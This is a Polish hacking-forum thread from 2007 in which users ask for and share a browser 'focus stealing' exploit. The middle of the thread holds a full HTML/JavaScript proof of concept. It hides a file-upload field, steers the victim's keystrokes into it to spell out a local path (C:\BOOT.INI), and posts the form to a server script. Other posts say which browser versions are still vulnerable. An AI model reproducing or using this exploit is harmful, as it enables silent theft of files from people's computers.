Poszukaj na google tematu focus stealing vulnarability. Na pewno znajdziesz podobne skrypty.Napisał markossx
szkoda bo nie zdążyłem się z nimi zapoznać, może jeszcze je gdzieś udostepnić na troche
Pliki juz nie powroca na serwer, za duzo ludzi na to wchodzilo.
jasne, dzięki
***********
* markossx *
***********
to nie jest dziura w IE. Ciekawe czy można obejść focusa. Nie da rady tego zrobić we flashu.
Tutaj masz inne przykłady dla IE i Firefox-a:szkoda bo nie zdążyłem się z nimi zapoznać, może jeszcze je gdzieś udostepnić na troche
http://lcamtuf.coredump.cx/focusbug
pozdrawiam
phaxe
błagam o udostępnienie gdzieś tego skryptu
killboy powerhead
dwie minuty na googlach...
fixed in mozilla 2.0.0.4
Emil Grzegorz Gubała
ty sorry ale masz go "udostępnionego" jeden post wyżej od twojego!!
Agencja reklamy kielce (mały kilkudniowy case pozycjonerski
nie kminię tego zupełniemoże ktoś mi dać link do skryptu w czystej postaci albo napiszć go tutaj ewentualnie na gg 210302
<HTML>
<HEAD>
<style type="text/css">
.first {
}
.second {
color: white;
background-color: white;
opacity: 0;
}
</style>
<SCRIPT>
//document.onKeyDown = doKeyPress;
//document.onKeyUp = doKeyUp;
var saved;
var e ;
var mystring = "C:\\BOOT.INI";
//var i=mystring.length-1;
var i=0;
function doKeyPress(chucky)
{
saved = chucky.which;
//alert('pressed ' + String.fromCharCode(saved) + '(' + saved + ')');
if (mystring[i] != String.fromCharCode(saved).toUpperCase() ||
i > mystring.length-1) {
return false;
}
i++;
return true;
};
function doKeyUp () {
document.forms[0].txt.value += String.fromCharCode(saved);
document.forms[0].txt.focus();
}
</SCRIPT>
</HEAD>
<BODY >
<FORM METHOD=POST action=file.php>
<INPUT id='asdf' name="fileupload" defaultValue='asdfasdf' TYPE=FILE
OnKeyUp="doKeyUp();"
OnKeyPress="return doKeyPress(event);">
<input name=txt id='txt' type=text value=''
OnKeyDown="document.forms[0].fileupload.focus();"
onClick="">
<input type=button value="invisible"
onclick="document.forms[0].fileupload.className='second';">
<input type=button value="visible"
onclick="document.forms[0].fileupload.className='first';">
</FORM>
</BODY>
</HTML>
chyba chodzi o to. jak nie to proszę poprawcie mnie. Dziękuję za dobre chęci i udzieloną mi pomoc oraz przepraszam za swoją niekompetencję
Ostatnio edytowane przez TQM : 10-29-2007 - 20:44 Powód: UZYWAJ OPCJI 'EDIT' - po to ona jest!!!
killboy powerhead
Nie chodzi o niekompetencje, ale o lenistwo.
Dwie minuty na googlach:
http://www.securityfocus.com/bid/18308/exploit
A jak wyglada plik file.php, tego nawet najstarsi gorale nie wiedza.... trzeba bedzie ruszyc lepetyna i znowu google pomeliorowac...
Ale po co to komu, skoro firefox 2.0.0.4 juz sie na to nie nabiera, nie wiem jak jest z IE
Emil Grzegorz Gubała
IE - wersja 6.0.2900.2180_xpsp_sp2_rtm.040803-2158 (domyślnie serwowana wersja z sp2) jest podatna...
Agencja reklamy kielce (mały kilkudniowy case pozycjonerski
Zasady Postowania
Copyright © 2006-2025 - HACK.pl. Wszelkie prawa zastrzeżone.
Odpowiedź z Cytatem
